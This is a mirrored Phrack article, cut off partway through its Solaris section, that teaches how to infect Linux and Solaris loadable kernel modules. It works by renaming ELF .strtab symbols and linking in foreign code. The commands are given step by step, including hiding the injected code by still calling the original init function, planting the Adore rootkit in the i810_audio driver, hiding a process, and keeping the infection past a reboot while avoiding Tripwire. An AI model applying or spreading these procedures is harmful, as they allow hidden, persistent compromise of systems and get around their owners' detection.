mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1245 lines
38 KiB
Text
1245 lines
38 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f
|
||
|
|
||
|
|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=--------------------=[ truff <truff@projet7.org> ]=-------------------=|
|
||
|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Introduction
|
||
|
|
||
|
2 - ELF basis
|
||
|
2.1 - The .symtab section
|
||
|
2.2 - The .strtab section
|
||
|
|
||
|
3 - Playing with loadable kernel modules
|
||
|
3.1 - Module loading
|
||
|
3.2 - .strtab modification
|
||
|
3.3 - Code injection
|
||
|
3.4 - Keeping stealth
|
||
|
|
||
|
4 - Real life example
|
||
|
4.1 - Lkm infecting mini-howto
|
||
|
4.2 - I will survive (a reboot)
|
||
|
|
||
|
5 - What about other systems ?
|
||
|
5.1 - Solaris
|
||
|
5.2 - *BSD
|
||
|
5.2.1 - FreeBSD
|
||
|
5.2.2 - NetBSD
|
||
|
5.2.3 - OpenBSD
|
||
|
|
||
|
6 - Conclusion
|
||
|
|
||
|
7 - Greetings
|
||
|
|
||
|
8 - References
|
||
|
|
||
|
9 - Code
|
||
|
9.1 - ElfStrChange
|
||
|
9.2 - Lkminject
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
--[ 1 - Introduction
|
||
|
|
||
|
Since a few years we have seen a lot of rootkits using loadable kernel
|
||
|
modules. Is this a fashion ? not really, lkm's are widely used because they
|
||
|
are powerfull: you can hide files, processes and do other nice things.
|
||
|
The first rootkits using lkm's could be easily detected because they
|
||
|
where listed when issuing a lsmod. We have seen lots of techniques to hide
|
||
|
modules, like the one used in Plaguez's paper [1] or the more tricky used
|
||
|
in the Adore Rootkit [2]. A few years later we have seen other techniques
|
||
|
based on the modification of the kernel memory image using /dev/kmem [3].
|
||
|
Finally, a technique of static kernel patching was presented to us in [4].
|
||
|
This one solves an important problem: the rootkit will be reloaded after a
|
||
|
reboot.
|
||
|
|
||
|
The goal of this paper is to describe a new technique used to hide lkm's
|
||
|
and to ensure us that they will be reloaded after a reboot. We are going
|
||
|
to see how to do this by infecting a kernel module used by the system. We
|
||
|
will focus on Linux kernel x86 2.4.x series but this technique can be
|
||
|
applied to other operating systems that use the ELF format. Some knowledge
|
||
|
is necessary to understand this technique. Kernel modules are ELF object
|
||
|
files, we will thus study the ELF format focusing on some particular parts
|
||
|
related to the symbol naming in an ELF object file. After that, we will
|
||
|
study the mechanisms wich are used to load a module to give us some
|
||
|
knowledge on the technique which will permit to inject code into a kernel
|
||
|
module. Finally, we will see how we can inject a module into another one in
|
||
|
real life.
|
||
|
|
||
|
|
||
|
|
||
|
--[ 2 - ELF Basis
|
||
|
|
||
|
The Executable and Linking Format (ELF) is the executable file format
|
||
|
used on the Linux operating system. We are going to have a look at the part
|
||
|
of this format which interests us and which will be useful later (Read [1]
|
||
|
to have a full description of the ELF format). When linking two ELF
|
||
|
objects the linker needs to know some data refering to the symbols
|
||
|
contained in each object. Each ELF object (lkm's for example) contains two
|
||
|
sections whose role is to store structures of information describing each
|
||
|
symbol. We are going to study them and to extract some usefull ideas for
|
||
|
the infection of a kernel module.
|
||
|
|
||
|
|
||
|
----[ 2.1 - The .symtab section
|
||
|
|
||
|
This section is a tab of structures that contains data requiered by the
|
||
|
linker to use symbols contained in a ELF object file. This structure is
|
||
|
defined in the file /usr/include/elf.h:
|
||
|
|
||
|
/* Symbol table entry. */
|
||
|
|
||
|
typedef struct
|
||
|
{
|
||
|
Elf32_Word st_name; /* Symbol name (string tbl index) */
|
||
|
Elf32_Addr st_value; /* Symbol value */
|
||
|
Elf32_Word st_size; /* Symbol size */
|
||
|
unsigned char st_info; /* Symbol type and binding */
|
||
|
unsigned char st_other; /* Symbol visibility */
|
||
|
Elf32_Section st_shndx; /* Section index */
|
||
|
} Elf32_Sym;
|
||
|
|
||
|
The only field which will interest us later is st_name. This field is an
|
||
|
index of the .strtab section where the name of the symbol is stored.
|
||
|
|
||
|
|
||
|
----[ 2.2 - The .strtab section
|
||
|
|
||
|
The .strtab section is a tab of null terminated strings. As we saw above,
|
||
|
the st_name field of the Elf32_Sym structure is an index in the .strtab
|
||
|
section, we can thus easily obtain the offset of the string which contains
|
||
|
the name of the symbol by the following formula:
|
||
|
|
||
|
offset_sym_name = offset_strtab + st_name
|
||
|
|
||
|
offset_strtab is the offset of the .strtab section from the beginning of
|
||
|
the file. It is obtained by the section name resolution mechanism which I
|
||
|
will not describe here because it does not bring any interest to the
|
||
|
covered subject. This mechanism is fully described in [5] and implemented
|
||
|
in the code (paragraph 9.1).
|
||
|
|
||
|
We can then deduce that the name of a symbol in a ELF object can be
|
||
|
easily accessed and thus easily modified. However a rule must be complied
|
||
|
with to carry out a modification. We saw that the .strtab section is a
|
||
|
succession of null terminated strings, this implies a restriction on the
|
||
|
new name of a symbol after a modification: the length of the new name of
|
||
|
the symbol will have to be lower or equal to that of the original name
|
||
|
overwise it will overflow the name of the next symbol in the .strtab
|
||
|
section.
|
||
|
|
||
|
We will see thereafter that the simple modification of a symbol's name
|
||
|
will lead us to the modification of the normal operation of a kernel module
|
||
|
and finally to the infection of a module by another one.
|
||
|
|
||
|
|
||
|
--[ 3 - Playing with loadable kernel modules
|
||
|
|
||
|
The purpose of the next section is to show the code which dynamically
|
||
|
loads a module. With this concepts in mind, we will be able to foresee the
|
||
|
technique which will lead us to inject code into the module.
|
||
|
|
||
|
|
||
|
----[ 3.1 - Module Loading
|
||
|
|
||
|
Kernel modules are loaded with the userland utility insmod which is part
|
||
|
of the modutils[6] package. The interesting stuff is located in the
|
||
|
init_module() functions of the insmod.c file.
|
||
|
|
||
|
static int init_module(const char *m_name, struct obj_file *f,
|
||
|
unsigned long m_size, const char *blob_name,
|
||
|
unsigned int noload, unsigned int flag_load_map)
|
||
|
{
|
||
|
(1) struct module *module;
|
||
|
struct obj_section *sec;
|
||
|
void *image;
|
||
|
int ret = 0;
|
||
|
tgt_long m_addr;
|
||
|
|
||
|
....
|
||
|
|
||
|
(2) module->init = obj_symbol_final_value(f,
|
||
|
obj_find_symbol(f, "init_module"));
|
||
|
(3) module->cleanup = obj_symbol_final_value(f,
|
||
|
obj_find_symbol(f, "cleanup_module"));
|
||
|
|
||
|
....
|
||
|
|
||
|
if (ret == 0 && !noload) {
|
||
|
fflush(stdout); /* Flush any debugging output */
|
||
|
(4) ret = sys_init_module(m_name, (struct module *) image);
|
||
|
if (ret) {
|
||
|
error("init_module: %m");
|
||
|
lprintf(
|
||
|
"Hint: insmod errors can be caused by incorrect module parameters, "
|
||
|
"including invalid IO or IRQ parameters.\n"
|
||
|
"You may find more information in syslog or the output from dmesg");
|
||
|
}
|
||
|
}
|
||
|
|
||
|
This function is used (1) to fill a struct module which contains the
|
||
|
necessary data to load the module. The interestings fields are init_module
|
||
|
and cleanup_module which are functions pointers pointing respectively to
|
||
|
the init_module() and cleanup_module() of the module being loaded. The
|
||
|
obj_find_symbol() function (2) extracts a struct symbol by traversing the
|
||
|
symbol table and looking for the one whose name is init_module. This struct
|
||
|
is passed to the obj_symbol_final_value() which extracts the address of the
|
||
|
init_module function from the struct symbol. The same operation is then
|
||
|
carried out (3) for the function cleanup_module(). It is necessary to keep
|
||
|
in mind that the functions which will be called when initializing and
|
||
|
terminating the module are those whose entry in the .strtab section
|
||
|
corresponds respectively to init_module and cleanup_module.
|
||
|
|
||
|
When the struct module is completely filled in (4) the sys_init_module()
|
||
|
syscall is called to let the kernel load the module.
|
||
|
|
||
|
Here is the interesting part of the sys_init_module() syscall wich is
|
||
|
called during module loading. This function's code is located in the
|
||
|
/usr/src/linux/kernel/module.c file:
|
||
|
|
||
|
asmlinkage long
|
||
|
sys_init_module(const char *name_user, struct module *mod_user)
|
||
|
{
|
||
|
struct module mod_tmp, *mod;
|
||
|
char *name, *n_name, *name_tmp = NULL;
|
||
|
long namelen, n_namelen, i, error;
|
||
|
unsigned long mod_user_size;
|
||
|
struct module_ref *dep;
|
||
|
|
||
|
/* Lots of sanity checks */
|
||
|
.....
|
||
|
/* Ok, that's about all the sanity we can stomach; copy the rest.*/
|
||
|
|
||
|
(1) if (copy_from_user((char *)mod+mod_user_size,
|
||
|
(char *)mod_user+mod_user_size,
|
||
|
mod->size-mod_user_size)) {
|
||
|
error = -EFAULT;
|
||
|
goto err3;
|
||
|
}
|
||
|
|
||
|
/* Other sanity checks */
|
||
|
|
||
|
....
|
||
|
|
||
|
/* Initialize the module. */
|
||
|
atomic_set(&mod->uc.usecount,1);
|
||
|
mod->flags |= MOD_INITIALIZING;
|
||
|
(2) if (mod->init && (error = mod->init()) != 0) {
|
||
|
atomic_set(&mod->uc.usecount,0);
|
||
|
mod->flags &= ~MOD_INITIALIZING;
|
||
|
if (error > 0) /* Buggy module */
|
||
|
error = -EBUSY;
|
||
|
goto err0;
|
||
|
}
|
||
|
atomic_dec(&mod->uc.usecount);
|
||
|
|
||
|
After a few sanity checks, the struct module is copied from userland to
|
||
|
kernelland by calling (1) copy_from_user(). Then (2) the init_module()
|
||
|
function of the module being loaded is called using the mod->init() funtion
|
||
|
pointer wich has been filled by the insmod utility.
|
||
|
|
||
|
|
||
|
----[ 3.2 - .strtab modification
|
||
|
|
||
|
We have seen that the address of the module's init function is located
|
||
|
using a string in the .strtab section. The modification of this string will
|
||
|
allow us to execute another function than init_module() when the module is
|
||
|
loaded.
|
||
|
There are a few ways to modify an entry of the .strtab section. The
|
||
|
-wrap option of ld can be used to do it but this option isn't compatible
|
||
|
with the -r option that we will need later (paragraph 3.3). We will see in
|
||
|
paragraph 5.1 how to use xxd to do the work. I have coded a tool
|
||
|
(paragraph 9.1) to automate this task.
|
||
|
|
||
|
Here's a short example:
|
||
|
|
||
|
$ cat test.c
|
||
|
#define MODULE
|
||
|
#define __KERNEL__
|
||
|
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/kernel.h>
|
||
|
|
||
|
int init_module(void)
|
||
|
{
|
||
|
printk ("<1> Into init_module()\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
int evil_module(void)
|
||
|
{
|
||
|
printk ("<1> Into evil_module()\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
int cleanup_module(void)
|
||
|
{
|
||
|
printk ("<1> Into cleanup_module()\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
$ cc -O2 -c test.c
|
||
|
|
||
|
Let's have a look at the .symtab and .strtab sections:
|
||
|
|
||
|
$ objdump -t test.o
|
||
|
|
||
|
test.o: file format elf32-i386
|
||
|
|
||
|
SYMBOL TABLE:
|
||
|
0000000000000000 l df *ABS* 0000000000000000 test.c
|
||
|
0000000000000000 l d .text 0000000000000000
|
||
|
0000000000000000 l d .data 0000000000000000
|
||
|
0000000000000000 l d .bss 0000000000000000
|
||
|
0000000000000000 l d .modinfo 0000000000000000
|
||
|
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
|
||
|
0000000000000000 l d .rodata 0000000000000000
|
||
|
0000000000000000 l d .comment 0000000000000000
|
||
|
0000000000000000 g F .text 0000000000000014 init_module
|
||
|
0000000000000000 *UND* 0000000000000000 printk
|
||
|
0000000000000014 g F .text 0000000000000014 evil_module
|
||
|
0000000000000028 g F .text 0000000000000014 cleanup_module
|
||
|
|
||
|
We are now going to modify 2 entries of the .strtab section to make the
|
||
|
evil_module symbol's name become init_module. First we must rename the
|
||
|
init_module symbol because 2 symbols of the same nature can't have the same
|
||
|
name in the same ELF object. The following operations are carried out:
|
||
|
|
||
|
rename
|
||
|
1) init_module ----> dumm_module
|
||
|
2) evil_module ----> init_module
|
||
|
|
||
|
|
||
|
$ ./elfstrchange test.o init_module dumm_module
|
||
|
[+] Symbol init_module located at 0x3dc
|
||
|
[+] .strtab entry overwriten with dumm_module
|
||
|
|
||
|
$ ./elfstrchange test.o evil_module init_module
|
||
|
[+] Symbol evil_module located at 0x3ef
|
||
|
[+] .strtab entry overwriten with init_module
|
||
|
|
||
|
$ objdump -t test.o
|
||
|
|
||
|
test.o: file format elf32-i386
|
||
|
|
||
|
SYMBOL TABLE:
|
||
|
0000000000000000 l df *ABS* 0000000000000000 test.c
|
||
|
0000000000000000 l d .text 0000000000000000
|
||
|
0000000000000000 l d .data 0000000000000000
|
||
|
0000000000000000 l d .bss 0000000000000000
|
||
|
0000000000000000 l d .modinfo 0000000000000000
|
||
|
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
|
||
|
0000000000000000 l d .rodata 0000000000000000
|
||
|
0000000000000000 l d .comment 0000000000000000
|
||
|
0000000000000000 g F .text 0000000000000014 dumm_module
|
||
|
0000000000000000 *UND* 0000000000000000 printk
|
||
|
0000000000000014 g F .text 0000000000000014 init_module
|
||
|
0000000000000028 g F .text 0000000000000014 cleanup_module
|
||
|
|
||
|
|
||
|
# insmod test.o
|
||
|
# tail -n 1 /var/log/kernel
|
||
|
May 4 22:46:55 accelerator kernel: Into evil_module()
|
||
|
|
||
|
As we can see, the evil_module() function has been called instead of
|
||
|
init_module().
|
||
|
|
||
|
|
||
|
----[ 3.3 - Code injection
|
||
|
|
||
|
The preceding tech makes it possible to execute a function instead of
|
||
|
another one, however this is not very interesting. It will be much better
|
||
|
to inject external code into the module. This can be *easily* done by using
|
||
|
the wonderfull linker: ld.
|
||
|
|
||
|
$ cat original.c
|
||
|
#define MODULE
|
||
|
#define __KERNEL__
|
||
|
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/kernel.h>
|
||
|
|
||
|
int init_module(void)
|
||
|
{
|
||
|
printk ("<1> Into init_module()\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
int cleanup_module(void)
|
||
|
{
|
||
|
printk ("<1> Into cleanup_module()\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
$ cat inject.c
|
||
|
#define MODULE
|
||
|
#define __KERNEL__
|
||
|
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/kernel.h>
|
||
|
|
||
|
|
||
|
int inje_module (void)
|
||
|
{
|
||
|
printk ("<1> Injected\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
$ cc -O2 -c original.c
|
||
|
$ cc -O2 -c inject.c
|
||
|
|
||
|
|
||
|
Here starts the important part. The injection of the code is not a
|
||
|
problem because kernel modules are relocatable ELF object files. This type
|
||
|
of objects can be linked together to share symbols and complete each other.
|
||
|
However a rule must be complied: the same symbol can't exist in several
|
||
|
modules which are linked together. We use ld with the -r option to make a
|
||
|
partial link wich creates an object of the same nature as the objects wich
|
||
|
are linked. This will create a module which can be loaded by the kernel.
|
||
|
|
||
|
$ ld -r original.o inject.o -o evil.o
|
||
|
$ mv evil.o original.o
|
||
|
$ objdump -t original.o
|
||
|
|
||
|
original.o: file format elf32-i386
|
||
|
|
||
|
SYMBOL TABLE:
|
||
|
0000000000000000 l d .text 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d .rodata 0000000000000000
|
||
|
0000000000000000 l d .modinfo 0000000000000000
|
||
|
0000000000000000 l d .data 0000000000000000
|
||
|
0000000000000000 l d .bss 0000000000000000
|
||
|
0000000000000000 l d .comment 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l df *ABS* 0000000000000000 original.c
|
||
|
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
|
||
|
0000000000000000 l df *ABS* 0000000000000000 inject.c
|
||
|
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
|
||
|
0000000000000014 g F .text 0000000000000014 cleanup_module
|
||
|
0000000000000000 g F .text 0000000000000014 init_module
|
||
|
0000000000000000 *UND* 0000000000000000 printk
|
||
|
0000000000000028 g F .text 0000000000000014 inje_module
|
||
|
|
||
|
|
||
|
The inje_module() function has been linked into the module. Now we are
|
||
|
going to modify the .strtab section to make inje_module() be called instead
|
||
|
of init_module().
|
||
|
|
||
|
|
||
|
$ ./elfstrchange original.o init_module dumm_module
|
||
|
[+] Symbol init_module located at 0x4a8
|
||
|
[+] .strtab entry overwriten with dumm_module
|
||
|
|
||
|
$ ./elfstrchange original.o inje_module init_module
|
||
|
[+] Symbol inje_module located at 0x4bb
|
||
|
[+] .strtab entry overwriten with init_module
|
||
|
|
||
|
|
||
|
Let's fire it up:
|
||
|
|
||
|
# insmod original.o
|
||
|
# tail -n 1 /var/log/kernel
|
||
|
May 14 20:37:02 accelerator kernel: Injected
|
||
|
|
||
|
And the magic occurs :)
|
||
|
|
||
|
|
||
|
----[ 3.4 - Keeping stealth
|
||
|
|
||
|
Most of the time, we will infect a module which is in use. If we replace
|
||
|
the init_module() function with another one, the module loses its original
|
||
|
purpose for our profit. However, if the infected module does not work
|
||
|
properly it can be easily detected. But there is a solution that permits
|
||
|
to inject code into a module without modifying its regular behaviour. After
|
||
|
the .strtab hack, the real init_module() function is named dumm_module. If
|
||
|
we put a call to dumm_module() into our evil_module() function, the real
|
||
|
init_module() function will be called at initialization and the module will
|
||
|
keep its regular behaviour.
|
||
|
|
||
|
replace
|
||
|
init_module ------> dumm_module
|
||
|
inje_module ------> init_module (will call dumm_module)
|
||
|
|
||
|
|
||
|
$ cat stealth.c
|
||
|
#define MODULE
|
||
|
#define __KERNEL__
|
||
|
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/kernel.h>
|
||
|
|
||
|
|
||
|
int inje_module (void)
|
||
|
{
|
||
|
dumm_module ();
|
||
|
printk ("<1> Injected\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
$ cc -O2 -c stealth.c
|
||
|
$ ld -r original.o stealth.o -o evil.o
|
||
|
$ mv evil.o original.o
|
||
|
$ ./elfstrchange original.o init_module dumm_module
|
||
|
[+] Symbol init_module located at 0x4c9
|
||
|
[+] .strtab entry overwriten with dumm_module
|
||
|
|
||
|
$ ./elfstrchange original.o inje_module init_module
|
||
|
[+] Symbol inje_module located at 0x4e8
|
||
|
[+] .strtab entry overwriten with init_module
|
||
|
|
||
|
# insmod original.o
|
||
|
# tail -n 2 /var/log/kernel
|
||
|
May 17 14:57:31 accelerator kernel: Into init_module()
|
||
|
May 17 14:57:31 accelerator kernel: Injected
|
||
|
|
||
|
|
||
|
Perfect, the injected code is executed after the regular code so that the
|
||
|
modification is stealth.
|
||
|
|
||
|
|
||
|
--[ 4 - Real life example
|
||
|
|
||
|
The method used to modify init_module() in the preceding parts can be
|
||
|
applied without any problem to the cleanup_module() function. Thus, we can
|
||
|
plan to inject a complete module into another one. I've injected the well
|
||
|
known Adore[2] rootkit into my sound driver (i810_audio.o) with a rather
|
||
|
simple handling.
|
||
|
|
||
|
----[ 4.1 - Lkm infecting mini-howto
|
||
|
|
||
|
1) We have to slightly modify adore.c
|
||
|
|
||
|
* Insert a call to dumm_module() in the init_module() function's code
|
||
|
* Insert a call to dummcle_module() in the cleanup_module() module
|
||
|
function's code
|
||
|
* Replace the init_module function's name with evil_module
|
||
|
* Replace the cleanup_module function's name with evclean_module
|
||
|
|
||
|
|
||
|
2) Compile adore using make
|
||
|
|
||
|
|
||
|
3) Link adore.o with i810_audio.o
|
||
|
|
||
|
ld -r i810_audio.o adore.o -o evil.o
|
||
|
|
||
|
If the module is already loaded, you have to remove it:
|
||
|
rmmod i810_audio
|
||
|
|
||
|
mv evil.o i810_audio.o
|
||
|
|
||
|
|
||
|
4) Modify the .strtab section
|
||
|
|
||
|
replace
|
||
|
init_module ------> dumm_module
|
||
|
evil_module ------> init_module (will call dumm_module)
|
||
|
|
||
|
cleanup_module ------> evclean_module
|
||
|
evclean_module ------> cleanup_module (will call evclean_module)
|
||
|
|
||
|
$ ./elfstrchange i810_audio.o init_module dumm_module
|
||
|
[+] Symbol init_module located at 0xa2db
|
||
|
[+] .strtab entry overwriten with dumm_module
|
||
|
|
||
|
$ ./elfstrchange i810_audio.o evil_module init_module
|
||
|
[+] Symbol evil_module located at 0xa4d1
|
||
|
[+] .strtab entry overwriten with init_module
|
||
|
|
||
|
$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
|
||
|
[+] Symbol cleanup_module located at 0xa169
|
||
|
[+] .strtab entry overwriten with dummcle_module
|
||
|
|
||
|
$ ./elfstrchange i810_audio.o evclean_module cleanup_module
|
||
|
[+] Symbol evclean_module located at 0xa421
|
||
|
[+] .strtab entry overwriten with cleanup_module
|
||
|
|
||
|
|
||
|
5) Load and test the module
|
||
|
|
||
|
# insmod i810_audio
|
||
|
# ./ava
|
||
|
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
|
||
|
|
||
|
h hide file
|
||
|
u unhide file
|
||
|
r execute as root
|
||
|
R remove PID forever
|
||
|
U uninstall adore
|
||
|
i make PID invisible
|
||
|
v make PID visible
|
||
|
|
||
|
# ps
|
||
|
PID TTY TIME CMD
|
||
|
2004 pts/3 00:00:00 bash
|
||
|
2083 pts/3 00:00:00 ps
|
||
|
|
||
|
# ./ava i 2004
|
||
|
Checking for adore 0.12 or higher ...
|
||
|
Adore 0.53 installed. Good luck.
|
||
|
Made PID 2004 invisible.
|
||
|
|
||
|
root@accelerator:/home/truff/adore# ps
|
||
|
PID TTY TIME CMD
|
||
|
#
|
||
|
|
||
|
Beautifull :) I've coded a little shell script (paragraph 9.2) which does
|
||
|
some part of the work for lazy people.
|
||
|
|
||
|
|
||
|
----[ 4.2 - I will survive (a reboot)
|
||
|
|
||
|
When the module is loaded, we have two options that have pros and cons:
|
||
|
|
||
|
* Replace the real module located in /lib/modules/ by our infected one.
|
||
|
This will ensure us that our backdoor code will be reloaded after a
|
||
|
reboot. But, if we do that we can be detected by a HIDS (Host Intrusion
|
||
|
Detection System) like Tripwire [7]. However, a kernel module is not
|
||
|
an executable nor a suid file, so it won't be detected unless the HIDS
|
||
|
is configured to be paranoid.
|
||
|
|
||
|
* Let the real kernel module unchanged in /lib/modules and delete our
|
||
|
infected module. Our module will be removed when rebooting, but it
|
||
|
won't be detected by a HIDS that looks for changed files.
|
||
|
|
||
|
|
||
|
|
||
|
--[ 5 - What about other systems ?
|
||
|
|
||
|
----[ 5.1 - Solaris
|
||
|
|
||
|
I've used a basic kernel module from [8] to illustrate this example.
|
||
|
Solaris kernel modules use 3 principal functions:
|
||
|
- _init will be called at module initialisation
|
||
|
- _fini will be called at module cleanup
|
||
|
- _info prints info about the module when issuing a modinfo
|
||
|
|
||
|
$ uname -srp
|
||
|
SunOS 5.7 sparc
|
||
|
|
||
|
$ cat mod.c
|
||
|
#include <sys/ddi.h>
|
||
|
#include <sys/sunddi.h>
|
||
|
#include <sys/modctl.h>
|
||
|
|
||
|
extern struct mod_ops mod_miscops;
|
||
|
|
||
|
static struct modlmisc modlmisc = {
|
||
|
&mod_miscops,
|
||
|
"Real Loadable Kernel Module",
|
||
|
};
|
||
|
|
||
|
static struct modlinkage modlinkage = {
|
||
|
MODREV_1,
|
||
|
(void *)&modlmisc,
|
||
|
NULL
|
||
|
};
|
||
|
|
||
|
int _init(void)
|
||
|
{
|
||
|
int i;
|
||
|
if ((i = mod_install(&modlinkage)) != 0)
|
||
|
cmn_err(CE_NOTE,"Could not install module\n");
|
||
|
else
|
||
|
cmn_err(CE_NOTE,"mod: successfully installed");
|
||
|
return i;
|
||
|
}
|
||
|
|
||
|
int _info(struct modinfo *modinfop)
|
||
|
{
|
||
|
return (mod_info(&modlinkage, modinfop));
|
||
|
}
|
||
|
|
||
|
int _fini(void)
|
||
|
{
|
||
|
int i;
|
||
|
if ((i = mod_remove(&modlinkage)) != 0)
|
||
|
cmn_err(CE_NOTE,"Could not remove module\n");
|
||
|
else
|
||
|
cmn_err(CE_NOTE,"mod: successfully removed");
|
||
|
return i;
|
||
|
}
|
||
|
|
||
|
|
||
|
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
|
||
|
$ ld -r -o mod mod.o
|
||
|
$ file mod
|
||
|
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1
|
||
|
|
||
|
|
||
|
As we have seen in the Linux case, the code we are going to inject must
|
||
|
contains a call to the real init function to make the module keeps its
|
||
|
regular behaviour. However, we are going to face a problem: if we modify
|
||
|
the .strtab section after the link operation, the dynamic loader doesn't
|
||
|
find the _dumm() function and the module can't be loaded. I've not
|
||
|
invistigated a lot into this problem but i think that the dynamic loader
|
||
|
on Solaris doesn't looks for undefined symbols into the module itself.
|
||
|
However, this problem can be easily solved. If we change the real _init
|
||
|
.strtab entry to _dumm before the link operation, everything works well.
|
||
|
|
||
|
|
||
|
$ readelf -S mod
|
||
|
There are 10 section headers, starting at offset 0x940:
|
||
|
|
||
|
Section Headers:
|
||
|
[Nr] Name Type Address Offset
|
||
|
Size EntSize Flags Link Info Align
|
||
|
[ 0] NULL 0000000000000000 00000000
|
||
|
0000000000000000 0000000000000000 0 0 0
|
||
|
[ 1] .text PROGBITS 0000000000000000 00000040
|
||
|
0000000000000188 0000000000000000 AX 0 0 4
|
||
|
[ 2] .rodata PROGBITS 0000000000000000 000001c8
|
||
|
000000000000009b 0000000000000000 A 0 0 8
|
||
|
[ 3] .data PROGBITS 0000000000000000 00000268
|
||
|
0000000000000050 0000000000000000 WA 0 0 8
|
||
|
[ 4] .symtab SYMTAB 0000000000000000 000002b8
|
||
|
0000000000000210 0000000000000018 5 e 8
|
||
|
[ 5] .strtab STRTAB 0000000000000000 000004c8
|
||
|
0000000000000065 0000000000000000 0 0 1
|
||
|
[ 6] .comment PROGBITS 0000000000000000 0000052d
|
||
|
0000000000000035 0000000000000000 0 0 1
|
||
|
[ 7] .shstrtab STRTAB 0000000000000000 00000562
|
||
|
000000000000004e 0000000000000000 0 0 1
|
||
|
[ 8] .rela.text RELA 0000000000000000 000005b0
|
||
|
0000000000000348 0000000000000018 4 1 8
|
||
|
[ 9] .rela.data RELA 0000000000000000 000008f8
|
||
|
0000000000000048 0000000000000018 4 3 8
|
||
|
Key to Flags:
|
||
|
W (write), A (alloc), X (execute), M (merge), S (strings)
|
||
|
I (info), L (link order), G (group), x (unknown)
|
||
|
O (extra OS processing required) o (OS specific), p (processor specific)
|
||
|
|
||
|
|
||
|
The .strtab section starts at offset 0x4c8 and has a size of 64 bytes.
|
||
|
We are going to use vi and xxd as an hex editor. Load the module into vi
|
||
|
with: vi mod. After that use :%!xxd to convert the module into hex values.
|
||
|
You will see something like this:
|
||
|
|
||
|
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
|
||
|
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
|
||
|
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
|
||
|
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
|
||
|
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i
|
||
|
^^^^^^^^^
|
||
|
|
||
|
We modify 4 bytes to replace _init by _dumm.
|
||
|
|
||
|
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
|
||
|
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
|
||
|
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
|
||
|
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
|
||
|
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i
|
||
|
^^^^^^^^^
|
||
|
We use :%!xxd -r to recover the module from hex values, then we save
|
||
|
and exit :wq . After that we can verify that the replacement is
|
||
|
successfull.
|
||
|
|
||
|
$ objdump -t mod
|
||
|
|
||
|
mod: file format elf64-sparc
|
||
|
|
||
|
SYMBOL TABLE:
|
||
|
0000000000000000 l df *ABS* 0000000000000000 mod
|
||
|
0000000000000000 l d .text 0000000000000000
|
||
|
0000000000000000 l d .rodata 0000000000000000
|
||
|
0000000000000000 l d .data 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d .comment 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l d *ABS* 0000000000000000
|
||
|
0000000000000000 l df *ABS* 0000000000000000 mod.c
|
||
|
0000000000000010 l O .data 0000000000000040 modlinkage
|
||
|
0000000000000000 l O .data 0000000000000010 modlmisc
|
||
|
0000000000000000 *UND* 0000000000000000 mod_miscops
|
||
|
00000000000000a4 g F .text 0000000000000040 _info
|
||
|
0000000000000000 *UND* 0000000000000000 mod_install
|
||
|
0000000000000000 g F .text 0000000000000188 _dumm
|
||
|
0000000000000000 *UND* 0000000000000000 mod_info
|
||
|
0000000000000000 *UND* 0000000000000000 mod_remove
|
||
|
00000000000000e4 g F .text 0000000000000188 _fini
|
||
|
0000000000000000 *UND* 0000000000000000 cmn_err
|
||
|
|
||
|
|
||
|
The _init symbol has been replaced by _dumm. Now we can directly inject
|
||
|
a function which name is _init without any problem.
|
||
|
|
||
|
$ cat evil.c
|
||
|
int _init(void)
|
||
|
{
|
||
|
_dumm ();
|
||
|
cmn_err(1,"evil: successfully installed");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
|
||
|
$ ld -r -o inject inject.o
|
||
|
|
||
